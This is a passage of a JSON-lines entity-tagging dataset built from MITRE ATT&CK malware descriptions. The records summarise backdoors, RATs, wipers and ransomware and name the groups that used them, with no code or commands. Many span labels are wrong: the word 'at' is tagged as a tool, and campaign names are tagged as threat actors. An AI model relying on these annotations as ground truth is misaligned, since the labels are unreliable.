"S0397"}} {"text": "Cardinal RAT is a potentially low volume remote access trojan (RAT) observed since December 2015. Cardinal RAT is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.", "spans": {"MALWARE: Cardinal RAT": [[0, 12], [98, 110]], "SYSTEM: C#": [[163, 165]], "ORGANIZATION: Microsoft": [[186, 195]], "SYSTEM: Windows": [[196, 203]], "TOOL: csc": [[213, 216]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0348"}} {"text": "DanBot is a first-stage remote access Trojan written in C# that has been used by HEXANE since at least 2018.", "spans": {"MALWARE: DanBot": [[0, 6]], "SYSTEM: C#": [[56, 58]], "THREAT_ACTOR: HEXANE": [[81, 87]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1014"}} {"text": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007.", "spans": {"MALWARE: BISCUIT": [[0, 7]], "THREAT_ACTOR: APT1": [[44, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0017"}} {"text": "Calisto is a macOS Trojan that opens a backdoor on the compromised machine. Calisto is believed to have first been developed in 2016.", "spans": {"MALWARE: Calisto": [[0, 7], [76, 83]], "SYSTEM: macOS": [[13, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0274"}} {"text": "Solar is a C#/.NET backdoor that was used by OilRig during the Outer Space campaign to download, execute, and exfiltrate files.", "spans": {"MALWARE: Solar": [[0, 5]], "SYSTEM: C#": [[11, 13]], "SYSTEM: .NET": [[14, 18]], "THREAT_ACTOR: OilRig": [[45, 51]], "THREAT_ACTOR: Outer Space": [[63, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1166"}} {"text": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.", "spans": {"MALWARE: Pisloader": [[0, 9]], "SYSTEM: DNS": [[64, 67]], "THREAT_ACTOR: APT18": [[150, 155]], "MALWARE: HTTPBrowser": [[198, 209]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0124"}} {"text": "GoldenSpy is a backdoor malware which has been packaged with legitimate tax preparation software. GoldenSpy was discovered targeting organizations in China, being delivered with the \"Intelligent Tax\" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.", "spans": {"MALWARE: GoldenSpy": [[0, 9], [98, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0493"}} {"text": "Gold Dragon is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. Gold Dragon was used along with Brave Prince and RunningRAT in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics.", "spans": {"MALWARE: Gold Dragon": [[0, 11], [122, 133]], "MALWARE: Brave Prince": [[154, 166]], "MALWARE: RunningRAT": [[171, 181]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0249"}} {"text": "RGDoor is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. RGDoor has been seen deployed on webservers belonging to the Middle East government organizations. RGDoor provides backdoor access to compromised IIS servers.", "spans": {"MALWARE: RGDoor": [[0, 6], [98, 104], [197, 203]], "SYSTEM: Internet Information Services": [[22, 51]], "SYSTEM: IIS": [[53, 56], [244, 247]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0258"}} {"text": "Ramsay is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between Ramsay and the Darkhotel-associated Retro malware.", "spans": {"MALWARE: Ramsay": [[0, 6], [188, 194]], "THREAT_ACTOR: Darkhotel": [[203, 212]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0458"}} {"text": "Neo-reGeorg is an open-source web shell designed as a restructuring of reGeorg with improved usability, security, and fixes for exising reGeorg bugs.", "spans": {"MALWARE: Neo-reGeorg": [[0, 11]], "MALWARE: reGeorg": [[71, 78], [136, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1189"}} {"text": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.", "spans": {"MALWARE: FakeM": [[0, 5]], "SYSTEM: Windows": [[27, 34]], "THREAT_ACTOR: Scarlet Mimic": [[66, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0076"}} {"text": "Carberp is a credential and information stealing malware that has been active since at least 2009. Carberp's source code was leaked online in 2013, and subsequently used as the foundation for the Carbanak backdoor.", "spans": {"MALWARE: Carberp": [[0, 7], [99, 106]], "TOOL: at": [[84, 86]], "MALWARE: Carbanak": [[196, 204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0484"}} {"text": "FRAMESTING is a Python web shell that was used during Cutting Edge to embed into an Ivanti Connect Secure Python package for command execution.", "spans": {"MALWARE: FRAMESTING": [[0, 10]], "SYSTEM: Python": [[16, 22], [106, 112]], "THREAT_ACTOR: Cutting Edge": [[54, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1120"}} {"text": "HARDRAIN is a Trojan malware variant reportedly used by the North Korean government.", "spans": {"MALWARE: HARDRAIN": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0246"}} {"text": "NKAbuse is a Go-based, multi-platform malware abusing NKN (New Kind of Network) technology for data exchange between peers, functioning as a potent implant, and equipped with both flooder and backdoor capabilities.", "spans": {"MALWARE: NKAbuse": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1107"}} {"text": "Pillowmint is a point-of-sale malware used by FIN7 designed to capture credit card information.", "spans": {"MALWARE: Pillowmint": [[0, 10]], "THREAT_ACTOR: FIN7": [[46, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0517"}} {"text": "TrailBlazer is a modular malware that has been used by APT29 since at least 2019.", "spans": {"MALWARE: TrailBlazer": [[0, 11]], "THREAT_ACTOR: APT29": [[55, 60]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0682"}} {"text": "Revenge RAT is a freely available remote access tool written in .NET (C#).", "spans": {"MALWARE: Revenge RAT": [[0, 11]], "SYSTEM: .NET": [[64, 68]], "SYSTEM: C#": [[70, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0379"}} {"text": "MacMa is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. MacMa has been observed in the wild since November 2021. MacMa shares command and control and unique libraries with MgBot and Nightdoor, indicating a relationship with the Daggerfly threat actor.", "spans": {"MALWARE: MacMa": [[0, 5], [129, 134], [186, 191]], "SYSTEM: macOS": [[11, 16]], "MALWARE: MgBot": [[245, 250]], "MALWARE: Nightdoor": [[255, 264]], "THREAT_ACTOR: Daggerfly": [[301, 310]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1016"}} {"text": "FunnyDream is a backdoor with multiple components that was used during the FunnyDream campaign since at least 2019, primarily for execution and exfiltration.", "spans": {"MALWARE: FunnyDream": [[0, 10], [75, 85]], "TOOL: at": [[101, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1044"}} {"text": "ROADSWEEP is a ransomware that was deployed against Albanian government networks during HomeLand Justice along with the CHIMNEYSWEEP backdoor.", "spans": {"MALWARE: ROADSWEEP": [[0, 9]], "THREAT_ACTOR: HomeLand Justice": [[88, 104]], "MALWARE: CHIMNEYSWEEP": [[120, 132]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1150"}} {"text": "SUNSPOT is an implant that injected the SUNBURST backdoor into the SolarWinds Orion software update framework. It was used by APT29 since at least February 2020.", "spans": {"MALWARE: SUNSPOT": [[0, 7]], "MALWARE: SUNBURST": [[40, 48]], "ORGANIZATION: SolarWinds": [[67, 77]], "THREAT_ACTOR: APT29": [[126, 131]], "TOOL: at": [[138, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0562"}} {"text": "MOPSLED is a shellcode-based modular backdoor that has been used by China-nexus cyber espionage actors including UNC3886 and APT41.", "spans": {"MALWARE: MOPSLED": [[0, 7]], "THREAT_ACTOR: UNC3886": [[113, 120]], "THREAT_ACTOR: APT41": [[125, 130]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1221"}} {"text": "More_eggs is a JScript backdoor used by Cobalt Group and FIN6. Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4.", "spans": {"MALWARE: More_eggs": [[0, 9], [105, 114]], "SYSTEM: JScript": [[15, 22]], "THREAT_ACTOR: Cobalt Group": [[40, 52]], "THREAT_ACTOR: FIN6": [[57, 61]], "TOOL: at": [[153, 155]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0284"}} {"text": "SysUpdate is a backdoor written in C++ that has been used by Threat Group-3390 since at least 2020.", "spans": {"MALWARE: SysUpdate": [[0, 9]], "THREAT_ACTOR: Threat Group-3390": [[61, 78]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0663"}} {"text": "TinyZBot is a bot written in C# that was developed by Cleaver.", "spans": {"MALWARE: TinyZBot": [[0, 8]], "SYSTEM: C#": [[29, 31]], "THREAT_ACTOR: Cleaver": [[54, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0004"}} {"text": "OutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Saint Bear since at least March 2021.", "spans": {"MALWARE: OutSteel": [[0, 8]], "THREAT_ACTOR: Saint Bear": [[116, 126]], "TOOL: at": [[133, 135]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1017"}} {"text": "BackConfig is a custom Trojan with a flexible plugin architecture that has been used by Patchwork.", "spans": {"MALWARE: BackConfig": [[0, 10]], "THREAT_ACTOR: Patchwork": [[88, 97]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0475"}} {"text": "PowGoop is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by MuddyWater as their main loader.", "spans": {"MALWARE: PowGoop": [[0, 7]], "TOOL: PowerShell": [[56, 66]], "THREAT_ACTOR: MuddyWater": [[105, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1046"}} {"text": "Kwampirs is a backdoor Trojan used by Orangeworm. Kwampirs has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. Kwampirs has multiple technical overlaps with Shamoon based on reverse engineering analysis.", "spans": {"MALWARE: Kwampirs": [[0, 8], [50, 58], [200, 208]], "THREAT_ACTOR: Orangeworm": [[38, 48]], "MALWARE: Shamoon": [[246, 253]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0236"}} {"text": "Nerex is a Trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Nerex": [[0, 5]], "THREAT_ACTOR: Elderwood": [[26, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0210"}} {"text": "BoomBox is a downloader responsible for executing next stage components that has been used by APT29 since at least 2021.", "spans": {"MALWARE: BoomBox": [[0, 7]], "THREAT_ACTOR: APT29": [[94, 99]], "TOOL: at": [[106, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0635"}} {"text": "DEADEYE is a malware launcher that has been used by APT41 since at least May 2021. DEADEYE has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).", "spans": {"MALWARE: DEADEYE": [[0, 7], [83, 90], [162, 169], [212, 219]], "THREAT_ACTOR: APT41": [[52, 57]], "TOOL: at": [[64, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1052"}} {"text": "PUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data.", "spans": {"MALWARE: PUNCHTRACK": [[0, 10]], "THREAT_ACTOR: FIN8": [[76, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0197"}} {"text": "Proton is a macOS backdoor focusing on data theft and credential access .", "spans": {"MALWARE: Proton": [[0, 6]], "SYSTEM: macOS": [[12, 17]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0279"}} {"text": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.", "spans": {"MALWARE: Trojan.Mebromi": [[0, 14]], "SYSTEM: BIOS": [[18, 22]], "SYSTEM: MBR": [[77, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0001"}} {"text": "Mango is a first-stage backdoor written in C#/.NET that was used by OilRig during the Juicy Mix campaign. Mango is the successor to Solar and includes additional exfiltration capabilities, the use of native APIs, and added detection evasion code.", "spans": {"MALWARE: Mango": [[0, 5], [106, 111]], "SYSTEM: C#": [[43, 45]], "SYSTEM: .NET": [[46, 50]], "THREAT_ACTOR: OilRig": [[68, 74]], "THREAT_ACTOR: Juicy Mix": [[86, 95]], "MALWARE: Solar": [[132, 137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1169"}} {"text": "InnaputRAT is a remote access tool that can exfiltrate files from a victim’s machine. InnaputRAT has been seen out in the wild since 2016.", "spans": {"MALWARE: InnaputRAT": [[0, 10], [86, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0259"}} {"text": "WIREFIRE is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. WIREFIRE was used during Cutting Edge for downloading files and command execution.", "spans": {"MALWARE: WIREFIRE": [[0, 8], [142, 150]], "SYSTEM: Python": [[35, 41]], "THREAT_ACTOR: Cutting Edge": [[167, 179]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1115"}} {"text": "Kessel is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. Kessel has been active since its C2 domain began resolving in August 2018.", "spans": {"MALWARE: Kessel": [[0, 6], [132, 138]], "SYSTEM: OpenSSH": [[33, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0487"}} {"text": "GrimAgent is a backdoor that has been used before the deployment of Ryuk ransomware since at least 2020; it is likely used by FIN6 and Wizard Spider.", "spans": {"MALWARE: GrimAgent": [[0, 9]], "MALWARE: Ryuk": [[68, 72]], "TOOL: at": [[90, 92]], "THREAT_ACTOR: FIN6": [[126, 130]], "THREAT_ACTOR: Wizard Spider": [[135, 148]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0632"}} {"text": "LookBack is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using LookBack.", "spans": {"MALWARE: LookBack": [[0, 8], [174, 182]], "TOOL: at": [[72, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0582"}} {"text": "STEADYPULSE is a web shell that infects targeted Pulse Secure VPN servers through modification of a legitimate Perl script that was used as early as 2020 including in activity against US Defense Industrial Base (DIB) entities.", "spans": {"MALWARE: STEADYPULSE": [[0, 11]], "SYSTEM: Perl": [[111, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1112"}} {"text": "Clop is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. Clop is a variant of the CryptoMix ransomware.", "spans": {"MALWARE: Clop": [[0, 4], [305, 309]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0611"}} {"text": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.", "spans": {"MALWARE: NetTraveler": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0033"}} {"text": "YAHOYAH is a Trojan used by Tropic Trooper as a second-stage backdoor.", "spans": {"MALWARE: YAHOYAH": [[0, 7]], "THREAT_ACTOR: Tropic Trooper": [[28, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0388"}} {"text": "Lokibot is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. Lokibot can also create a backdoor into infected systems to allow an attacker to install additional payloads.", "spans": {"MALWARE: Lokibot": [[0, 7], [208, 215]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0447"}} {"text": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.", "spans": {"MALWARE: CallMe": [[0, 6]], "ORGANIZATION: Apple": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0077"}} {"text": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.", "spans": {"MALWARE: ROCKBOOT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0112"}} {"text": "CloudDuke is malware that was used by APT29 in 2015.", "spans": {"MALWARE: CloudDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0054"}} {"text": "Egregor is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between Egregor and Sekhmet ransomware, as well as Maze ransomware.", "spans": {"MALWARE: Egregor": [[0, 7], [141, 148]], "MALWARE: Maze": [[184, 188]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0554"}} {"text": "PoetRAT is a remote access trojan (RAT) that was first identified in April 2020. PoetRAT has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. PoetRAT derived its name from references in the code to poet William Shakespeare.", "spans": {"MALWARE: PoetRAT": [[0, 7], [81, 88], [298, 305]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0428"}} {"text": "CHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. It is tracked separately from the X-Agent for Android.", "spans": {"MALWARE: CHOPSTICK": [[0, 9]], "THREAT_ACTOR: APT28": [[59, 64]], "TOOL: at": [[89, 91]], "SYSTEM: Windows": [[239, 246]], "SYSTEM: Linux": [[251, 256]], "MALWARE: X-Agent for Android": [[305, 324]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0023"}} {"text": "StealBit is a data exfiltration tool that is developed and maintained by the operators of the the LockBit Ransomware-as-a-Service (RaaS) and offered to affiliates to exfiltrate data from compromised systems for double extortion purposes.", "spans": {"MALWARE: StealBit": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1200"}} {"text": "FELIXROOT is a backdoor that has been used to target Ukrainian victims.", "spans": {"MALWARE: FELIXROOT": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0267"}} {"text": "ZxShell is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.", "spans": {"MALWARE: ZxShell": [[0, 7]], "TOOL: at": [[161, 163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0412"}} {"text": "RIFLESPINE is a cross-platform backdoor that leverages Google Drive for file transfer and command execution.", "spans": {"MALWARE: RIFLESPINE": [[0, 10]], "SYSTEM: Google Drive": [[55, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1222"}} {"text": "SLIGHTPULSE is a web shell that was used by APT5 as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) entities.", "spans": {"MALWARE: SLIGHTPULSE": [[0, 11]], "THREAT_ACTOR: APT5": [[44, 48]], "TOOL: at": [[102, 104]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1110"}} {"text": "NDiskMonitor is a custom backdoor written in .NET that appears to be unique to Patchwork.", "spans": {"MALWARE: NDiskMonitor": [[0, 12]], "SYSTEM: .NET": [[45, 49]], "THREAT_ACTOR: Patchwork": [[79, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0272"}} {"text": "CoinTicker is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.", "spans": {"MALWARE: CoinTicker": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0369"}} {"text": "DDKONG is a malware sample that was part of a campaign by Rancor. DDKONG was first seen used in February 2017.", "spans": {"MALWARE: DDKONG": [[0, 6], [66, 72]], "THREAT_ACTOR: Rancor": [[58, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0255"}} {"text": "Penquin is a remote access trojan (RAT) with multiple versions used by Turla to target Linux systems since at least 2014.", "spans": {"MALWARE: Penquin": [[0, 7]], "THREAT_ACTOR: Turla": [[71, 76]], "SYSTEM: Linux": [[87, 92]], "TOOL: at": [[107, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0587"}} {"text": "BabyShark is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns.", "spans": {"MALWARE: BabyShark": [[0, 9]], "ORGANIZATION: Microsoft": [[15, 24]], "SYSTEM: Visual Basic": [[25, 37]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0414"}} {"text": "Cannon is a Trojan with variants written in C# and Delphi. It was first observed in April 2018.", "spans": {"MALWARE: Cannon": [[0, 6]], "SYSTEM: C#": [[44, 46]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0351"}} {"text": "CreepySnail is a custom PowerShell implant that has been used by POLONIUM since at least 2022.", "spans": {"MALWARE: CreepySnail": [[0, 11]], "TOOL: PowerShell": [[24, 34]], "THREAT_ACTOR: POLONIUM": [[65, 73]], "TOOL: at": [[80, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1024"}} {"text": "build_downer is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: build_downer": [[0, 12]], "THREAT_ACTOR: BRONZE BUTLER": [[51, 64]], "TOOL: at": [[71, 73]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0471"}} {"text": "Melcoz is a banking trojan family built from the open source tool Remote Access PC. Melcoz was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.", "spans": {"MALWARE: Melcoz": [[0, 6], [84, 90]], "SYSTEM: Access": [[73, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0530"}} {"text": "Winnti for Windows is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, Winnti Group.. The Linux variant is tracked separately under Winnti for Linux.", "spans": {"MALWARE: Winnti for Windows": [[0, 18]], "TOOL: at": [[153, 155]], "THREAT_ACTOR: Winnti Group": [[221, 233]], "SYSTEM: Linux": [[240, 245]], "MALWARE: Winnti for Linux": [[282, 298]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0141"}} {"text": "PowerPunch is a lightweight downloader that has been used by Gamaredon Group since at least 2021.", "spans": {"MALWARE: PowerPunch": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[61, 76]], "TOOL: at": [[83, 85]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0685"}} {"text": "BONDUPDATER is a PowerShell backdoor used by OilRig. It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.", "spans": {"MALWARE: BONDUPDATER": [[0, 11]], "TOOL: PowerShell": [[17, 27]], "THREAT_ACTOR: OilRig": [[45, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0360"}} {"text": "Troll Stealer is an information stealer written in Go associated with Kimsuky operations. Troll Stealer has typically been delivered through a dropper disguised as a legitimate security program installation file. Troll Stealer features code similar to AppleSeed, also uniquely associated with Kimsuky operations.", "spans": {"MALWARE: Troll Stealer": [[0, 13], [90, 103], [213, 226]], "THREAT_ACTOR: Kimsuky": [[70, 77], [293, 300]], "MALWARE: AppleSeed": [[252, 261]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1196"}} {"text": "BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013.", "spans": {"MALWARE: BLACKCOFFEE": [[0, 11]], "TOOL: at": [[74, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0069"}} {"text": "BFG Agonizer is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the Agrius threat actor.", "spans": {"MALWARE: BFG Agonizer": [[0, 12]], "THREAT_ACTOR: Agrius": [[140, 146]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1136"}} {"text": "Ebury is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by Windigo. Ebury is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, Ebury has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.", "spans": {"MALWARE: Ebury": [[0, 5], [118, 123], [260, 265]], "SYSTEM: OpenSSH": [[12, 19], [223, 230]], "SYSTEM: Linux": [[62, 67]], "THREAT_ACTOR: Windigo": [[109, 116]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0377"}} {"text": "Kinsing is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment.", "spans": {"MALWARE: Kinsing": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0599"}} {"text": "PITSTOP is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during Cutting Edge to enable command execution and file read/write.", "spans": {"MALWARE: PITSTOP": [[0, 7]], "THREAT_ACTOR: Cutting Edge": [[89, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1123"}} {"text": "Meteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.", "spans": {"MALWARE: Meteor": [[0, 6], [170, 176]], "TOOL: at": [[305, 307]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0688"}} {"text": "njRAT is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.", "spans": {"MALWARE: njRAT": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0385"}} {"text": "ZIPLINE is a passive backdoor that was used during Cutting Edge on compromised Secure Connect VPNs for reverse shell and proxy functionality.", "spans": {"MALWARE: ZIPLINE": [[0, 7]], "THREAT_ACTOR: Cutting Edge": [[51, 63]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1114"}} {"text": "Maze ransomware, previously known as \"ChaCha\", was discovered in May 2019. In addition to encrypting files on victim machines for impact, Maze operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.", "spans": {"MALWARE: Maze": [[0, 4], [138, 142]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0449"}} {"text": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.", "spans": {"MALWARE: BOOTRASH": [[0, 8]], "SYSTEM: Windows": [[35, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0114"}} {"text": "HIUPAN (aka U2DiskWatch) is a is a worm that propagates through removable drives known to be leveraged by Mustang Panda and was first observed utilized in 2024.", "spans": {"MALWARE: HIUPAN": [[0, 6]], "THREAT_ACTOR: Mustang Panda": [[106, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1230"}} {"text": "ComRAT is a second stage implant suspected of being a descendant of Agent.btz and used by Turla. The first version of ComRAT was identified in 2007, but the tool has undergone substantial development for many years since.", "spans": {"MALWARE: ComRAT": [[0, 6], [118, 124]], "MALWARE: Agent.btz": [[68, 77]], "THREAT_ACTOR: Turla": [[90, 95]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0126"}} {"text": "TURNEDUP is a non-public backdoor. It has been dropped by APT33's StoneDrill malware.", "spans": {"MALWARE: TURNEDUP": [[0, 8]], "THREAT_ACTOR: APT33": [[58, 63]], "MALWARE: StoneDrill": [[66, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0199"}} {"text": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.", "spans": {"MALWARE: ChChes": [[0, 6]], "THREAT_ACTOR: menuPass": [[58, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0144"}} {"text": "PowerStallion is a lightweight PowerShell backdoor used by Turla, possibly as a recovery access tool to install other backdoors.", "spans": {"MALWARE: PowerStallion": [[0, 13]], "TOOL: PowerShell": [[31, 41]], "THREAT_ACTOR: Turla": [[59, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0393"}} {"text": "ANDROMEDA is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 C0026 campaign, threat actors re-registered expired ANDROMEDA C2 domains to spread malware to select targets in Ukraine.", "spans": {"MALWARE: ANDROMEDA": [[0, 9], [219, 228]], "THREAT_ACTOR: C0026": [[167, 172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1074"}} {"text": "Manjusaka is a Chinese-language intrusion framework, similar to Sliver and Cobalt Strike, with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, Manjusaka consists of multiple components, only one of which (a command and control module) is freely available.", "spans": {"MALWARE: Manjusaka": [[0, 9], [219, 228]], "MALWARE: Sliver": [[64, 70]], "TOOL: Cobalt Strike": [[75, 88]], "SYSTEM: Windows": [[149, 156]], "SYSTEM: Linux": [[161, 166]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1156"}} {"text": "IceApple is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.", "spans": {"MALWARE: IceApple": [[0, 8]], "SYSTEM: Internet Information Services": [[22, 51]], "SYSTEM: IIS": [[53, 56]], "TOOL: at": [[112, 114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1022"}} {"text": "JPIN is a custom-built 